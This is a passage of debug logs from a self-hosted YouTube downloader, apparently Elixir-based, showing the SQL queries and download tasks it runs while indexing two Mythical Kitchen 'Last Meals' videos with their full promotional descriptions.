s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:03.795 [debug] QUERY OK source="sources" db=0.0ms idle=737.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:03.795 [debug] QUERY OK source="media_items" db=0.1ms idle=737.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-02-15 11:00:30Z], 1] 20:49:03.796 [debug] QUERY OK source="media_items" db=0.5ms idle=737.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Josh is cooking 24kGoldn's last meal. Last Meals Ep.2\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "24kGoldn Eats His Last Meal", "3f085f57-b132-4392-a23b-4e33727b687a", "https://www.youtube.com/watch?v=cCD23fss8GQ", false, "cCD23fss8GQ", 1332, false, 81, "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", false, false, 1, [], 0, ~U[2022-02-15 11:00:30Z], ~U[2026-03-28 00:49:03Z], ~U[2026-03-28 00:49:03Z], "Today, Josh is cooking 24kGoldn's last meal. Last Meals Ep.2\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nGet Mythical Kitchen gadgets and equipment!\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "24kGoldn Eats His Last Meal", "https://www.youtube.com/watch?v=cCD23fss8GQ", "cCD23fss8GQ", 1332, false, "/downloads/Last Meals/2022-02-15 24kGoldn Eats His Last Meal/24kGoldn Eats His Last Meal [cCD23fss8GQ].mp4", false, 1, ~U[2022-02-15 11:00:30Z]] 20:49:03.796 [debug] QUERY OK source="sources" db=0.0ms idle=638.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:03.796 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:03.796 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [96] 20:49:03.796 [info] Kicking off download for media item #96 (cCD23fss8GQ) 20:49:03.797 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [95, 96, ~U[2026-03-28 00:49:03Z], ~U[2026-03-28 00:49:03Z]] 20:49:03.797 [debug] Current batch of media processed. Will check again in 1000ms 20:49:04.798 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Tony Hawk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Tony's Last Meal\n2:01 Have You Thought About Your Last Meal Before?\n2:39 1st Course\n4:05 Hawk Vs. Wolf\n5:26 Being A Fan At The Paris Olympics\n6:08 Skateboard Jesus\n9:02 Getting Bullied For Skating\n13:40 2nd Course\n15:14 A Hyperactive Kid\n16:20 Landing The 900\n19:00 The Godfather Of Modern Skateboarding\n20:46 3rd Course\n22:42 Tony Hawk Pro Skater Video Game\n27:42 The Best Version Of Tony Hawk\n29:22 4th Course\n30:45 Practical Vs. Emotional Parenting\n32:35 A Broken Femur & McTwist Redemption\n35:25 Are You More Afraid Of Dying Or Never Skating Again?\n36:54 Will You Skate In The 2028 Olympics?\n38:07 What Do You Think Happens When You Die?\n39:21 Lightning Round\n42:38 Tony's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "duration" => 2610, "filename" => "/downloads/Last Meals/2024-09-12 Tony Hawk Eats His Last Meal/Tony Hawk Eats His Last Meal [CIEpU0EF0XI].mp4", "id" => "CIEpU0EF0XI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=CIEpU0EF0XI", "playlist_index" => 82, "timestamp" => 1726135211, "title" => "Tony Hawk Eats His Last Meal", "upload_date" => "20240912"} 20:49:04.799 [debug] QUERY OK source="sources" db=0.2ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:49:04.799 [debug] QUERY OK source="sources" db=0.0ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:04.799 [debug] QUERY OK source="media_items" db=0.2ms idle=1002.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-12 10:00:11Z], 1] 20:49:04.801 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Tony Hawk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Tony's Last Meal\n2:01 Have You Thought About Your Last Meal Before?\n2:39 1st Course\n4:05 Hawk Vs. Wolf\n5:26 Being A Fan At The Paris Olympics\n6:08 Skateboard Jesus\n9:02 Getting Bullied For Skating\n13:40 2nd Course\n15:14 A Hyperactive Kid\n16:20 Landing The 900\n19:00 The Godfather Of Modern Skateboarding\n20:46 3rd Course\n22:42 Tony Hawk Pro Skater Video Game\n27:42 The Best Version Of Tony Hawk\n29:22 4th Course\n30:45 Practical Vs. Emotional Parenting\n32:35 A Broken Femur & McTwist Redemption\n35:25 Are You More Afraid Of Dying Or Never Skating Again?\n36:54 Will You Skate In The 2028 Olympics?\n38:07 What Do You Think Happens When You Die?\n39:21 Lightning Round\n42:38 Tony's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Tony Hawk Eats His Last Meal", "6e0e4068-4905-49a4-ba30-50ff64486bfe", "https://www.youtube.com/watch?v=CIEpU0EF0XI", false, "CIEpU0EF0XI", 2610, false, 82, "/downloads/Last Meals/2024-09-12 Tony Hawk Eats His Last Meal/Tony Hawk Eats His Last Meal [CIEpU0EF0XI].mp4", false, false, 1, [], 0, ~U[2024-09-12 10:00:11Z], ~U[2026-03-28 00:49:04Z], ~U[2026-03-28 00:49:04Z], "Today, Tony Hawk is eating his last meal.\n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\n0:00 Tony's Last Meal\n2:01 Have You Thought About Your Last Meal Before?\n2:39 1st Course\n4:05 Hawk Vs. Wolf\n5:26 Being A Fan At The Paris Olympics\n6:08 Skateboard Jesus\n9:02 Getting Bullied For Skating\n13:40 2nd Course\n15:14 A Hyperactive Kid\n16:20 Landing The 900\n19:00 The Godfather Of Modern Skateboarding\n20:46 3rd Course\n22:42 Tony Hawk Pro Skater Video Game\n27:42 The Best Version Of Tony Hawk\n29:22 4th Course\n30:45 Practical Vs. Emotional Parenting\n32:35 A Broken Femur & McTwist Redemption\n35:25 Are You More Afraid Of Dying Or Never Skating Again?\n36:54 Will You Skate In The 2028 Olympics?\n38:07 What Do You Think Happens When You Die?\n39:21 Lightning Round\n42:38 Tony's Last Words\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5 (truncated) 20:49:04.801 [debug] QUERY OK source="sources" db=0.1ms idle=642.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:49:04.801 [debug] QUERY OK source="media_profiles" db=0.0ms idle=2.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:49:04.802 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [97] 20:49:04.802 [info] Kicking off download for media item #97 (CIEpU0EF0XI) 20:49:04.803 [debug] QUERY OK source="tasks" db=0.0ms idle=1.3ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [96, 97, ~U[2026-03-28 00:49:04Z], ~U[2026-03-28 00:49:04Z]] 20:49:04.803 [debug] Current batch of media 